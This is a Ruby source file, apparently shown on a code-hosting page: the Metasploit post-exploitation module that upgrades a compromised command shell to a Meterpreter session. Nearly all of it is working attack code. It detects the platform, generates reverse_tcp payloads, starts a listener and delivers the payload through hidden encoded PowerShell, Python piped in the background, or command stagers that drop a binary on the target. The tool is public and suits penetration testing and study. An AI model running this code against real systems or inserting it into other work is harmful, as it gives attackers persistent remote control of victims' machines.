Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/manage/shell_to_meterpreter.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'rex/exploitation/cmdstager'56class MetasploitModule < Msf::Post7include Exploit::Powershell8include Post::Architecture9include Post::Windows::Powershell1011VALID_PSH_ARCH_OVERRIDE = ['x64', 'x86']12VALID_PLATFORM_OVERRIDE = Msf::Platform.find_children.map { |plat| plat.realname.downcase }1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Shell to Meterpreter Upgrade',19'Description' => %q{20This module attempts to upgrade a command shell to meterpreter. The shell21platform is automatically detected and the best version of meterpreter for22the target is selected. Currently meterpreter/reverse_tcp is used on Windows23and Linux, with 'python/meterpreter/reverse_tcp' used on all others.24},25'License' => MSF_LICENSE,26'Author' => ['Tom Sellers <tom [at] fadedcode.net>'],27'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ],28'SessionTypes' => [ 'shell', 'meterpreter' ]29)30)31register_options(32[33OptAddressLocal.new('LHOST',34[false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]),35OptInt.new('LPORT',36[true, 'Port for payload to connect to.', 4433]),37OptBool.new('HANDLER',38[ true, 'Start an exploit/multi/handler to receive the connection', true])39]40)41register_advanced_options([42OptInt.new('HANDLE_TIMEOUT',43[true, 'How long to wait (in seconds) for the session to come back.', 30]),44OptEnum.new('WIN_TRANSFER',45[true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]),46OptEnum.new('PLATFORM_OVERRIDE',47[false, 'Define the platform to use.', nil, VALID_PLATFORM_OVERRIDE]),48OptEnum.new('PSH_ARCH_OVERRIDE',49[false, 'Define the powershell architecture to use', nil, VALID_PSH_ARCH_OVERRIDE]),50OptString.new('PAYLOAD_OVERRIDE',51[false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]),52OptString.new('BOURNE_PATH',53[false, 'Remote path to drop binary']),54OptString.new('BOURNE_FILE',55[false, 'Remote filename to use for dropped binary']),56OptInt.new('COMMAND_TIMEOUT',57[true, 'How long to wait (in seconds) for a result when executing a command on the remote machine.', 15]),58])59deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')60end6162def command_timeout63datastore['COMMAND_TIMEOUT']64end6566# Run method for when run command is issued67def run68print_status("Upgrading session ID: #{datastore['SESSION']}")6970# Try hard to find a valid LHOST value in order to71# make running 'sessions -u' as robust as possible.72if datastore['LHOST']73lhost = datastore['LHOST']74elsif framework.datastore['LHOST']75lhost = framework.datastore['LHOST']76else77lhost = session.tunnel_local.split(':')[0]78if lhost == 'Local Pipe'79print_error 'LHOST is "Local Pipe", please manually set the correct IP.'80return81end82end8384# If nothing else works...85lhost = Rex::Socket.source_address if lhost.blank?8687lport = datastore['LPORT']8889# Handle platform specific variables and settings90if datastore['PAYLOAD_OVERRIDE']91unless datastore['PLATFORM_OVERRIDE']92print_error('Please pair PAYLOAD_OVERRIDE with a PLATFORM_OVERRIDE.')93return nil94end95unless datastore['PLATFORM_OVERRIDE'].in? VALID_PLATFORM_OVERRIDE96print_error('Please provide a valid PLATFORM_OVERRIDE')97return nil98end99payload_name = datastore['PAYLOAD_OVERRIDE']100payload = framework.payloads.create(payload_name)101platform = datastore['PLATFORM_OVERRIDE']102unless payload103print_error('Please provide a valid payload for PAYLOAD_OVERRIDE.')104return nil105end106if platform.downcase == 'windows' || platform.downcase == 'win'107unless datastore['PSH_ARCH_OVERRIDE']108print_error('Please provide a PSH_ARCH_OVERRIDE')109return nil110end111unless datastore['PSH_ARCH_OVERRIDE'].in? VALID_PSH_ARCH_OVERRIDE112print_error('Please provide a valid PSH_ARCH_OVERRIDE')113return nil114end115psh_arch = datastore['PSH_ARCH_OVERRIDE']116end117lplat = payload.platform.platforms118larch = payload.arch119else120case session.platform121when 'windows', 'win'122platform = 'windows'123lplat = [Msf::Platform::Windows]124arch = get_os_architecture125case arch126when ARCH_X64127payload_name = 'windows/x64/meterpreter/reverse_tcp'128psh_arch = 'x64'129when ARCH_X86130payload_name = 'windows/meterpreter/reverse_tcp'131psh_arch = 'x86'132else133print_error('Target is running Windows on an unsupported architecture such as Windows ARM!')134return nil135end136larch = [arch]137vprint_status('Platform: Windows')138when 'osx'139platform = 'osx'140payload_name = 'osx/x64/meterpreter/reverse_tcp'141lplat = [Msf::Platform::OSX]142larch = [ARCH_X64]143vprint_status('Platform: OS X')144when 'solaris'145platform = 'python'146payload_name = 'python/meterpreter/reverse_tcp'147vprint_status('Platform: Solaris')148else149# Find the best fit, be specific with uname to avoid matching hostname or something else150target_info = cmd_exec('uname -ms')151if target_info =~ /linux/i && target_info =~ /86/152# Handle linux shells that were identified as 'unix'153platform = 'linux'154payload_name = 'linux/x86/meterpreter/reverse_tcp'155lplat = [Msf::Platform::Linux]156larch = [ARCH_X86]157vprint_status('Platform: Linux')158elsif target_info =~ /darwin/i159platform = 'osx'160payload_name = 'osx/x64/meterpreter/reverse_tcp'161lplat = [Msf::Platform::OSX]162larch = [ARCH_X64]163vprint_status('Platform: OS X')164elsif remote_python_binary165# Generic fallback for OSX, Solaris, Linux/ARM166platform = 'python'167payload_name = 'python/meterpreter/reverse_tcp'168vprint_status('Platform: Python [fallback]')169end170end171end172173if platform.blank?174print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")175return nil176end177178vprint_status("Upgrade payload: #{payload_name}")179180payload_data = generate_payload(lhost, lport, payload_name)181if payload_data.blank?182print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")183return nil184end185186if datastore['HANDLER']187listener_job_id = create_multihandler(lhost, lport, payload_name)188if listener_job_id.blank?189print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")190return nil191end192end193194case platform.downcase195when 'windows'196if session.type == 'powershell'197template_path = Rex::Powershell::Templates::TEMPLATE_DIR198psh_payload = case datastore['Powershell::method']199when 'net'200Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data)201when 'reflection'202Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data)203when 'old'204Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)205when 'msil'206raise 'MSIL Powershell method no longer exists'207else208raise 'No Powershell method specified'209end210211# prepend_sleep => 1212psh_payload = 'Start-Sleep -s 1;' << psh_payload213214encoded_psh_payload = encode_script(psh_payload)215cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true))216elsif have_powershell? && (datastore['WIN_TRANSFER'] != 'VBS')217vprint_status('Transfer method: Powershell')218psh_opts = { persist: false, prepend_sleep: 1 }219if session.type == 'shell'220cmd_exec("echo. | #{cmd_psh_payload(payload_data, psh_arch, psh_opts)}")221else222psh_opts[:remove_comspec] = true223cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, command_timeout, { 'Channelized' => false })224end225else226print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'227vprint_status('Transfer method: VBS [fallback]')228exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)229aborted = transmit_payload(exe, platform)230end231when 'python'232vprint_status('Transfer method: Python')233cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary}", nil, command_timeout, { 'Channelized' => false })234when 'osx'235vprint_status('Transfer method: Python [OSX]')236payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload_data, {})237cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary} & disown", nil, command_timeout, { 'Channelized' => false })238else239vprint_status('Transfer method: Bourne shell [fallback]')240exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)241aborted = transmit_payload(exe, platform)242end243244if datastore['HANDLER']245vprint_status('Cleaning up handler')246cleanup_handler(listener_job_id, aborted)247end248249nil250end251252#253# Get the Python binary from the remote machine, if any, by running254# a series of channelized `cmd_exec` calls.255# @return String/nil A string if a Python binary can be found, else nil.256#257def remote_python_binary258return @remote_python_binary if defined?(@remote_python_binary)259260python_exists_regex = /Python (2|3)\.(\d)/261262if cmd_exec('python3 -V 2>&1') =~ python_exists_regex263@remote_python_binary = 'python3'264elsif cmd_exec('python -V 2>&1') =~ python_exists_regex265@remote_python_binary = 'python'266elsif cmd_exec('python2 -V 2>&1') =~ python_exists_regex267@remote_python_binary = 'python2'268else269@remote_python_binary = nil270end271272@remote_python_binary273end274275def transmit_payload(exe, platform)276#277# Generate the stager command array278#279linemax = 1700280if session.exploit_datastore['LineMax']281linemax = session.exploit_datastore['LineMax'].to_i282end283opts = {284linemax: linemax285# :nodelete => true # keep temp files (for debugging)286}287case platform288when 'windows'289opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, 'exploits', 'cmdstager', 'vbs_b64')290cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)291when 'osx'292opts[:background] = true293cmdstager = Rex::Exploitation::CmdStagerPrintf.new(exe)294else295opts[:background] = true296opts[:temp] = datastore['BOURNE_PATH']297opts[:file] = datastore['BOURNE_FILE']298cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)299end300301cmds = cmdstager.generate(opts)302if cmds.nil? || cmds.empty?303print_error('The command stager could not be generated.')304raise ArgumentError305end306307#308# Calculate the total size309#310total_bytes = 0311cmds.each { |cmd| total_bytes += cmd.length }312313vprint_status('Starting transfer...')314begin315#316# Run the commands one at a time317#318sent = 0319aborted = false320cmds.each.with_index do |cmd, i|321# The last command should be fire-and-forget, otherwise issues occur where the original session waits322# for an unlimited amount of time for the newly spawned session to exit.323wait_for_cmd_result = i + 1 < cmds.length324# Note that non-channelized cmd_exec calls currently return an empty string325ret = cmd_exec(cmd, nil, command_timeout, { 'Channelized' => wait_for_cmd_result })326if wait_for_cmd_result327if !ret328aborted = true329else330ret.strip!331aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./332end333if aborted334print_error('Error: Unable to execute the following command: ' + cmd.inspect)335print_error('Output: ' + ret.inspect) if ret && !ret.empty?336break337end338end339340sent += cmd.length341progress(total_bytes, sent)342end343rescue ::Interrupt344# TODO: cleanup partial uploads!345aborted = true346rescue StandardError => e347print_error("Error: #{e}")348aborted = true349end350351return aborted352end353354def cleanup_handler(listener_job_id, aborted)355# Return if the job has already finished356return nil if framework.jobs[listener_job_id].nil?357358framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) do359if !aborted360timer = 0361timeout = datastore['HANDLE_TIMEOUT']362vprint_status("Waiting up to #{timeout} seconds for the session to come back")363while !framework.jobs[listener_job_id].nil? && timer < timeout364sleep(1)365timer += 1366end367end368print_status('Stopping exploit/multi/handler')369framework.jobs.stop_job(listener_job_id)370end371end372373#374# Show the progress of the upload375#376def progress(total, sent)377done = (sent.to_f / total.to_f) * 100378print_status(format('Command stager progress: %3.2f%% (%d/%d bytes)', done.to_f, sent, total))379end380381# Method for checking if a listener for a given IP and port is present382# will return true if a conflict exists and false if none is found383def check_for_listener(lhost, lport)384client.framework.jobs.each do |_k, j|385next unless j.name =~ %r{ multi/handler}386387current_id = j.jid388current_lhost = j.ctx[0].datastore['LHOST']389current_lport = j.ctx[0].datastore['LPORT']390if lhost == current_lhost && lport == current_lport.to_i391print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")392return true393end394end395return false396end397398# Starts a exploit/multi/handler session399def create_multihandler(lhost, lport, payload_name)400pay = client.framework.payloads.create(payload_name)401pay.datastore['RHOST'] = rhost402pay.datastore['LHOST'] = lhost403pay.datastore['LPORT'] = lport404405print_status('Starting exploit/multi/handler')406407if check_for_listener(lhost, lport)408print_error('A job is listening on the same local port')409return410end411412# Set options for module413mh = client.framework.exploits.create('multi/handler')414mh.share_datastore(pay.datastore)415mh.datastore['WORKSPACE'] = client.workspace416mh.datastore['PAYLOAD'] = payload_name417mh.datastore['EXITFUNC'] = 'thread'418mh.datastore['ExitOnSession'] = true419# Validate module options420mh.options.validate(mh.datastore)421# Execute showing output422mh.exploit_simple(423'Payload' => mh.datastore['PAYLOAD'],424'LocalInput' => user_input,425'LocalOutput' => user_output,426'RunAsJob' => true427)428429# Check to make sure that the handler is actually valid430# If another process has the port open, then the handler will fail431# but it takes a few seconds to do so. The module needs to give432# the handler time to fail or the resulting connections from the433# target could end up on on a different handler with the wrong payload434# or dropped entirely.435select(nil, nil, nil, 5)436return nil if framework.jobs[mh.job_id.to_s].nil?437438mh.job_id.to_s439end440441def generate_payload(lhost, lport, payload_name)442payload = framework.payloads.create(payload_name)443444unless payload.respond_to?('generate_simple')445print_error("Could not generate payload #{payload_name}. Invalid payload?")446return447end448449options = "LHOST=#{lhost} LPORT=#{lport} RHOST=#{rhost}"450payload.generate_simple('OptionStr' => options)451end452end453454455